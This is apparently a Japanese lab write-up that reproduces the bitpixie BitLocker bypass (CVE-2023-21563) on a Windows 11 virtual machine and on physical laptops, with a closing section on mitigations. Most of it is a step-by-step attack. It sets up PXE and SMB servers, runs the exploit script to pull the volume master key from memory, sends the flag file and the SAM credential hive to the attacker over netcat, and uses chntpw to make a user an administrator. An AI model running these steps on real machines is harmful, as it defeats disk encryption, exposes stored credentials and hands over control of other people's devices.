lr2006-robot/bitpixieCVE-2023-21563の脆弱性に基づくBitLocker暗号化のクラッキング
仮想マシンで再現する。本機（攻撃機）は Ubuntu 22.04.5 LTS を、被害機は Windows 10 21H2 19041.1 と Windows 11 21H2 22000.318 を使用し、いずれも BitLocker 暗号化を有効にしている。仮想マシンマネージャーには QEMU を使用し、virt-manager で管理する。ここでは仮想マシンの Windows 11 を使用して操作する。
私の再現関連ファイルは Syss の Github リポジトリを元にしており、これを基にツールのバージョン適合やいくつかの予期しない状況への対応を行っている。ダウンロードしてそのまま使用することも、必要に応じて変更することもできる。仮想マシンのイメージファイルは UUP Dump から入手した。ここでは各種 Windows バージョンのダウンロードが提供されており、ダウンロード後に cmd ファイルまたは sh ファイルを実行すると ISO イメージファイルが得られる。
QEMU と virt-manager のインストールと使用方法についてはここでは説明しないが、新しくダウンロードしたユーザーは virt-manager で「Edit -> Preferences -> General -> Enable XML editing」を選択して XML 編集機能を有効にする。これにより、仮想マシンの XML 設定ファイルを直接編集できるようになる。
仮想マシンを作成する際は、「Local install media (ISO image or CDROM)」を選択し、先ほどダウンロードした Windows 11 の ISO イメージファイルを選択する。適切なリソース（CPU、メモリ、ディスク容量など）を割り当て、最後に必ず「Customize configuration before install」を選択する。これで、インストール前に設定ファイルを編集できる。ここで、OS の自動認識に問題がある場合は、「Microsoft Windows 10/11」を自分で選択すればよい。
ここから設定を開始する。最も重要な点は（これは後から変更できず、他は作成後に繰り返し変更できる）、Overview タブで Firmware として「UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd」を選択することだ。これを選択しなかった場合は、仮想マシンを削除して作り直せばよい。手間ではないので。
次に「Boot Options」タブに移動し、「SATA CDROM 1」にチェックが入っていることを確認する。入っていないとシステムをインストールできない。リストの先頭に「SATA CDROM 1」を移動させておくと、起動時に選択が簡単になる。この時点で作成を進めてよい。システムのインストール後に、残りの設定をまとめて変更する。
「Press any key to boot from CD or DVD...」という表示が見えたら、任意のキーを押してインストール画面に入り、指示に従ってインストールを完了する。もし誤って別の画面に入ってしまっても、慌てずに「Boot Manager」を選択し、その後「UEFI: QEMU DVD-ROM」を選べば元の画面に戻り、任意のキーで起動できる。
次にシステムをインストールする。プロダクトキーなしにチェックを入れ、Pro エディションをインストールすればよい。その後はアカウント登録などの面倒な手順があるが、オフラインアカウントで起動することをお勧めする。その方が手間が少ない。このオプションがない場合は、Shift + F10 でコマンド プロンプトを開き、OOBE\BYPASSNRO と入力してオフラインアカウント作成オプションを有効にする。
正常にログインできたら、ターミナルで msinfo32 と入力してシステム情報を確認し（物理マシンの場合は UEFI かどうかを確認）、そのままシャットダウンしてから設定を変更する：
<rom enabled="no"/> を追加してネットワークブートを有効にする。以下はその例だ：<interface type="network">
<mac address="52:54:00:2f:53:4e"/>
<source network="default"/>
<model type="virtio"/>
<boot order="2"/>
<rom enabled="no"/>
<address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>
virtio のネットワーク構成を選ぶのは、そのネットワークハードウェアの「半仮想化」特性により、ホストと直接通信できるためだ。また、ネットワークブート ROM を無効にするのは、UEFI ファームウェアが内蔵の PXE プロトコルを介して virtio ネットワークカードと直接通信できるようにし、起動プロセス中に不要な干渉が発生するのを防ぐためだ。これにより、問題なくシステムに入り、その後の設定とテストを実施できる。
仮想マシンに入り、CD ドライブで virtio ドライバーをインストールすると、自動で設定が完了する。ネットワークが正常か簡単にテストできる。その後、BitLocker 暗号化を実行する。後で検証できるよう、デスクトップに flag ファイルを作成しておくとよい。
物理マシンで再現する場合は、攻撃機と被害機を LAN ケーブルで接続するだけでよく、virtio の設定は不要だ。他の設定は基本的に同じだが、唯一の注意点は、物理マシンには複数のネットワークインターフェースがある場合があるため、正しいインターフェースを選んで設定する必要があることだ。
被害機の設定はこれで完了だ。その後、シャットダウンして、前述の脆弱性悪用の原理で定めた手順に従って脆弱性を悪用する。
ここでは攻撃全体の流れの参考図を示す。まず大まかな流れを確認し、後で段階的に実装していく。
本機（攻撃機）には以下のソフトウェアパッケージをインストールする必要がある：
Ubuntu または Debian では、以下のコマンドでインストールできる：
sudo apt install dnsmasq libwin-hivex-perl python3-impacket
プロジェクトで提供されているファイル内の build.sh を実行して bitpixie-initramfs を生成する。ローカル環境に合わせて変更したい場合は、build.sh 内を編集し、好みのツールやバージョンファイルを設定してから、bitpixie-initramfs を再生成すればよい。
次に、ターミナルで ifconfig を入力し、本機（攻撃機）の仮想ゲートウェイを確認する。以下は私の本機の例だ：
virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.123.1 netmask 255.255.255.0 broadcast 192.168.123.255
ether 52:54:00:23:11:39 txqueuelen 1000 (Ethernet)
RX packets 46749 bytes 4384179 (4.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67170 bytes 414459630 (414.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
以下のコマンドで、PXE ブートプロセス用の TFTP サーバーと、変更した BCD ファイルを転送するスクリプト用の SMB サーバーを起動する。先ほど確認したインターフェースを指定する。私の場合は virbr0 だ。
# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>
主な問題は、bcdedit コマンドがローカル管理者としてしか実行できないことだ。ただし、BCD ファイルはドライブの暗号化されていない EFI パーティションにあるため、抽出する方法は複数ある。1つの方法は、ハードドライブを物理的に取り外し、別のシステムで BCD ファイルを抽出することだ。しかし、より簡単で侵襲性の低い方法は、詳細ブートオプションで起動することだ。ほとんどのシステムでは、Shift + 再起動 でこれを行うことができる。ログイン画面でもこの方法は有効だ。次に、「トラブルシューティング -> 詳細オプション -> コマンド プロンプト」でコマンドラインを入力できる。このプロセス中に BitLocker 回復画面が表示される可能性が高いが、「このドライブをスキップ」ボタンでスキップできる。
次に、ターミナルで ipconfig と入力してネットワークの状態を確認する。IP が 10.13.37.xxx と表示されていれば、以下の手順はスキップしてよい。表示されていない場合は、ネットワークを手動で設定する必要がある。まず正しいパスを確認し、どのドライブかを調べ、自分の仮想マシンのバージョンを選定する：
dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64
その後、結果に応じて以下のコマンドを入力し、ネットワークを設定する：
drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig
IP アドレスが表示されたら、SMB 転送を行える。以下のコマンドを入力すると、変更した BCD ファイルが攻撃者のマシンに直接移動され、実際の bitpixie 攻撃をすぐに開始できる：
wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat
次に、画面に戻り、「デバイスの使用 -> PXE 起動」でダウングレードされたブートローダーを起動し、変更した BCD を読み込み、ディスクのシールを解除し、カーネルの起動に失敗させて、pxesoftreboot を実行する。PXE 起動が見つからない場合は、一度終了して仮想マシンの設定を確認し、「Boot Options」の NIC オプションにチェックが入っているかどうかを確認する。PXE サーバーを制御しているため、事前に用意した Debian システムに入ることができる。
その後、root と入力してログインし、su コマンドを使用してから、パーティションに対してスクリプトを実行する：
run-exploit /dev/sda3
すべてが順調に進めば、一致する VMK データが直接表示され、同時にカレントディレクトリに vmk.dat ファイルが作成される。これがメモリから抽出した VMK ファイルだ。暗号化ディスクの内容は /mnt ディレクトリにマウントされているので、そのまま移動して先ほど作成した flag ファイルを確認できる。
これで、Bitpixie の脆弱性を悪用して、BitLocker 暗号化ディスクの VMK ファイルを抽出し、暗号化ディスクの内容へのアクセスに成功したことになる。
もちろん、いくつかの問題が発生することもある。例えば、VMK ファイルが見つからない場合だ。この場合は、もう一度試すことをお勧めする。VMK がメモリ内に正しく保持されていないか、正しくスキャンされていない可能性がある。また、BCD のバージョンが一致しないことが原因の場合もある。もう1つのケースは、VMK ファイルは見つかったが暗号化ディスクをマウントできない場合だ。これは VMK ファイルが不完全または破損している可能性があるため、有効な識別子 03 20 01 00 を必ず確認し、VMK ファイルの再抽出を試みるか、使用しているツールが現在のシステムの BitLocker バージョンをサポートしているかを確認してほしい（dislcker のバージョンは安定した古いバージョンに固定されているため、新しいバージョンをダウンロードし直すとよい）。
これで必要なファイルにアクセスできるようになったが、元のコンピュータのファイルをまだエクスポートしていない。ここでは、必要なデータをネットワーク経由で攻撃機に直接転送できる。私はネットワーク経由で攻撃機に直接転送する方法を選んだ。システムファイルなどは必要ないので、有用なファイルだけを転送することをお勧めする。ここでは、デスクトップの flag ファイルとシステムの SAM ファイルを例にする。
小さいファイルを転送するには、攻撃機で接続ポートを開くだけでよい：
nc -lvp 4444 > flag.txt
nc -lvp 4445 -q 1 > SAM
被害機で以下のコマンドを入力し、攻撃機にファイルを転送する：
dd if=/mnt/Users/Dorange/Desktop/flag.txt | nc <IP> 4444
dd if=/mnt/Windows/System32/config/SAM | nc <IP> 4445
フォルダーを転送する場合は、まず圧縮してから転送する：
tar -czvf important_files.tar.gz /mnt/Users/Dorange/Desktop/important_files
nc -lvp 4446 > important_files.tar.gz
dd if=important_files.tar.gz | nc <IP> 4446
暗号化ディスクへのアクセス権はすでに取得したが、被害者のコンピュータを完全に制御できたわけではない。ここで、chntpw ツールを使うと、システム内のユーザーアカウントのパスワードを変更し、管理者権限を取得できる。もちろん、低権限のユーザーを作成してから管理者に権限昇格する方がより安定するので、私はこちらを推奨する。
ここでは低権限ユーザー Dorange を管理者に権限昇格する。まず chntpw を使用してユーザーアカウントの権限を変更する必要がある。以下はコマンド例だ：
chntpw -u Dorange /mnt/Windows/System32/config/SAM
もちろん、先にコマンドで入って、どんなユーザーがいるか確認することもできる：
chntpw - /mnt/Windows/System32/config/SAM
その後、ガイドに従って権限を変更すればよい。権限を直接変更するか、ユーザーを管理者グループに追加するかを選べるが、どちらも大差ない。ここでは、より安定するので管理者グループに直接追加することを推奨する。変更後、chntpw -i SAM コマンドで権限を確認できる。
注意点として、すべての変更がディスクに書き込まれるよう、BitLocker パーティションをアンマウントしてからシステムを再起動する必要がある。最後に、再起動して改造が成功したかどうかを確認する。ターミナルで net localgroup Administrators と入力して管理者グループのメンバーを表示し、先ほど追加したユーザー Dorange が含まれているかどうかを確認する。
これで、仮想マシン上で CVE-2023-21563 の脆弱性に基づく BitLocker 破解を成功させ、VMK ファイルを抽出し、暗号化ディスクの内容へのアクセスと重要なファイルのエクスポートに成功し、さらに低権限ユーザーを管理者権限に昇格させることにも成功した。
物理マシンの設定は仮想マシンほど親切ではない。基本的に仮想マシンは前述の手順に従えばそのまま使え、ハードウェアへの要求も多くないが、物理マシンの場合はハードウェア構成を一つずつ確認する必要がある。ほとんどの PC は既定で Home エディションだが、BitLocker 機能を使用できるのは Pro エディションだけのようだ。そのため、物理マシンではアップグレードが必要な場合もある。
私たちのチームが実験したところ、Windows の新しいバージョン 25H2 ではほぼ実現できないことが分かった。まず、詳細オプションからコマンドラインに入る際に、BitLocker 回復キーの入力をスキップできない。たとえ入れたとしても、PXE ソフト再起動を行う際には、BitLocker 回復キーを入力しないと起動を使用できない。
一方、物理マシンのハードウェアに対する初期要件も比較的高く、一部の薄型軽量ノート PC や旧型ゲーミングノートのハードウェアは PXE 起動をサポートしていない。ここで示すのは Xiaomi の薄型軽量ノート PC で、そのハードウェアはネットワーク起動をサポートしていない（通常サポートしていれば、ここに Network Boot オプションが表示される）：
さらに、国内で一般的なブランドである ASUS のノート PC では、Windows のバージョンが比較的低くても、PXE 起動失敗後にカーネルブートの過程でフリーズすることが分かった（メーカーのハードウェアによる何らかの制限が疑われる）。
まず、被害機が UEFI 起動をサポートしているかを確認する必要がある。Windows で msinfo32 と入力するとシステム情報を確認でき、システム概要で「BIOS モード」が「UEFI」と表示されていれば、UEFI 起動をサポートしていることになる。
最も重要なのは、物理マシンに修正パッチが適用済みかどうかを確認することだ。管理者ターミナルで Get-HotFix と入力してシステムパッチの状況を確認する。KB5025885 またはそれ以降のパッチが適用済みなら、この脆弱性を悪用することはできない。また、証明書が旧版かどうかも確認する必要がある（Microsoft が 2026 年に新しい証明書を発行したと聞いているが、本当かどうかは分からない）。
Get-HotFix -Id KB5025885
certutil -store root | findstr "Microsoft Windows Production PCA 2011"
TPM の設定について。Windows でデバイスマネージャーを検索し、「セキュリティデバイス」に TPM デバイスがあり、バージョンが 2.0 かどうかを確認する。ない場合は BIOS で TPM 機能を有効にする必要がある。その後、管理者ターミナルで manage-bde -protectors -get C: と入力して BitLocker の暗号化状態を確認する。TPM の PCR が 7 と 11 でない場合は、手動で調整する必要がある（現在の既定は 0, 2, 4, 11 のようだ）。
まず、「Win + R」を押して gpedit.msc と入力し、ローカル グループ ポリシー エディターを開く。「コンピューターの構成 -> 管理用テンプレート -> Windows コンポーネント -> BitLocker ドライブ暗号化 -> オペレーティング システム ドライブ」の順に移動し、「ローカル UEFI ファームウェア構成用の TPM プラットフォーム検証プロファイルの構成」オプションを見つけて開き、「有効」に設定し、オプションで「PCR 7 と 11」を選択して、OK で終了する。
次に、管理者ターミナルに戻り、まず元の TPM プロテクターを削除し、その後 TPM プロテクターを再追加する。これにより、先ほど設定した PCR 7 と 11 に従って構成される。前述のとおり、ブートローダーは旧版に誘導するものなので、PCR に 4 が含まれてはいけない。含まれていると攻撃を完了できない：
manage-bde -protectors -get C:
manage-bde -protectors -delete C: -type tpm
manage-bde -protectors -add C: -tpm
manage-bde -protectors -get C:
物理マシンでは IPv4 の PXE 起動が既定で有効になっていない場合がある。そのため、BIOS に入って有効にする必要がある。BIOS に入るショートカットキーはネットで調べられる（PC によって異なるため、ここでは説明しない）。どうしても無理なら、「Shift + 再起動」の後に「トラブルシューティング -> 詳細オプション -> UEFI ファームウェア設定」と進んでも再起動して入ることができる。私の物理マシンでは、BIOS の Advanced タブに Advance\Network Stack Configuration があり、Network Stack と Ipv4 PXE Support を有効にすればよかった。
次に、物理ネットワーク接続の設定を行う。攻撃機と被害機を LAN ケーブルで接続する必要がある。攻撃機で DHCP サーバーを有効にして被害機に IP アドレスを割り当てる（手動で割り当てることもできる）。攻撃機で事前に DHCP サーバーを起動しておく：
./start-server.sh smb <interface>
./start-server.sh pxe <interface>
その後、被害機の IP アドレスに ping を送信して、ネットワークが通っているか確認できる。通っていない場合は、ネットワーク設定を確認する必要がある：
brctl show virbr0
interfaces 項目が空かどうかを確認する。空の場合は、物理ネットワークインターフェースを手動で追加する必要がある。まず確認してから追加する（自分で見分ける必要がある）：
ip link show
sudo brctl addif virbr0 <interface>
brctl show virbr0
再度 interfaces 項目を確認すると、追加した物理ネットワークインターフェースが表示されているはずだ。この時点で被害機の IP アドレスに ping を試すことができる。被害機の IP アドレスは、被害機で ipconfig と入力して確認できる。ping が通らない場合はネットワーク設定を確認し、攻撃機と被害機が同じネットワークセグメントにいることを確認する。
被害機から攻撃機へ ping は通るのに、攻撃機から被害機へ ping が通らない場合は、被害機のファイアウォール設定を確認する必要がある。攻撃機からのトラフィックを許可していることを確認し、一時的にファイアウォールを無効にしてもよい：
netsh advfirewall set allprofiles state off
もちろん、攻撃機では 10.13.37.0/24 のネットワーク帯のトラフィックが遮断されないよう、以下の2つのコマンドを実行する（実際には設定しなくても通常は正常に接続できる）：
sudo iptables -I LIBVIRT_FWI 1 -s 10.13.37.0/24 -j ACCEPT
sudo iptables -I LIBVIRT_FWO 1 -d 10.13.37.0/24 -j ACCEPT
ただし、実際には詳細ブートでコマンドラインに入ったとき、ネットワーク接続の手順は自動では完了しないことが多い。前述の仮想マシンの設定と同様に、ドライバーを手動で構成する必要がある。もちろん、仮想マシンのように簡単ではない。まず、USB メモリにドライバーファイルを用意し、その後、被害機でドライバーを読み込んでネットワークを構成する。この手順は簡単で、前述とほぼ同じなので詳しく説明しない。以降の手順は仮想マシンの場合と同じなので、前述の手順に従って進めれば、必要な BCD ファイルを取得できる。
もちろん、実際には物理マシンと同じシステムの仮想マシンから BCD ファイルを直接抽出することもできる。そうすれば物理マシンでのネットワーク設定は不要になり、仮想マシンで抽出した後、SMB で攻撃機に転送するだけで済む。これにより、はるかに簡単で便利になる。ただし、この方法では BCD のバージョンが合わず、後で VMK ファイルが見つからなくなるリスクも一定数ある。
その後、PXE 起動に入り、以降の操作に違いはない。ただし、ハードウェアがサポートしていないなどの問題により、ブート失敗でクラッシュしたり、正常に入っても VMK ファイルを取得できなかったりする可能性がある。そのため、物理マシンでの再現は、さまざまなソフトウェア/ハードウェア環境の問題により、成功率が非常に低くなる可能性が高い。おそらく、この脆弱性が一見重大に見えるのに広く悪用されたり修正されたりしていない理由の1つでもある。
この記事では、プリブート認証が、承認されていない攻撃者による暗号化ハードディスクの内容へのアクセスを防ぐことを示している。しかし、プリブート認証は、有効な BitLocker PIN を保有する悪意のある内部関係者が、デバイスのローカル管理者アクセスを取得し、ウイルス対策ソフトウェアを無効にしたり、キャッシュされた資格情報を抽出したりすることを防ぐことはできない。これは共有システムにとって特に重要である。攻撃者が同じシステム内の他のユーザーのデータに直接アクセスできるようになるためだ。
ダウングレード攻撃を防ぐ効果的な対策の1つは、TPM によるシール解除時にチェックされる PCR を変更することだ。ブートマネージャーの脆弱性 CVE-2024-38058 に対して、Microsoft は測定ブートプロセスに PCR 4 を追加した。このレジスタには、ブートマネージャーコードのハッシュ値とすべての起動試行が含まれる。現在、一部の PC では既定の PCR 値が 0, 2, 4, 11 になっている。
ダウングレード攻撃に悪用される脆弱なブートマネージャーは、Microsoft Windows Production PCA 2011 によって署名されている。この証明書の有効期間は 15 年で、2026 年 6 月まで有効であることを意味する。Microsoft UEFI CA 2011（サードパーティのブートマネージャーの署名に使用）と Microsoft Corporation KEK CA 2011（データベースと DBX コンテンツの管理を担当）も同様の運命をたどる。そのため、Microsoft は 2023 年に新しいルート証明書一式を登録した。Windows ブートマネージャーの署名には、新しい Windows UEFI CA 2023 が使用される。現在、この証明機関の登録は自動では完了していないが、パッチ KB5025885 を手動で適用することで完了できる。このパッチは、新しい CA をデータベースに追加し、2023 年 CA によって署名されたブートマネージャーをインストールし、2011 年 CA を DBX データベースに追加して失効させる。
お役に立てたなら、Github プロジェクトに star を付けてください！！！
免責事項: 当方のすべての記事は技術共有であり、防御を目的とした記録です。すべての操作は実験環境で実施しています。他の用途には使用しないでください。使用した場合の結果は自己責任となります。